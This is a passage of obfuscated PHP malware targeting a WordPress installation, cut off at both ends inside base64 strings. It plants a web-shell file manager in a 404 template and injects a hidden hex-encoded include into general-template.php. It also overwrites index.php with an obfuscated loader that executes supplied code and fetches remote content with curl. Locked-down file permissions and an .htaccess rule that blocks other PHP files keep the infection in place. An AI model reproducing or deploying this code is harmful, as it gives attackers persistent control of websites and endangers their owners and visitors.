QndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b2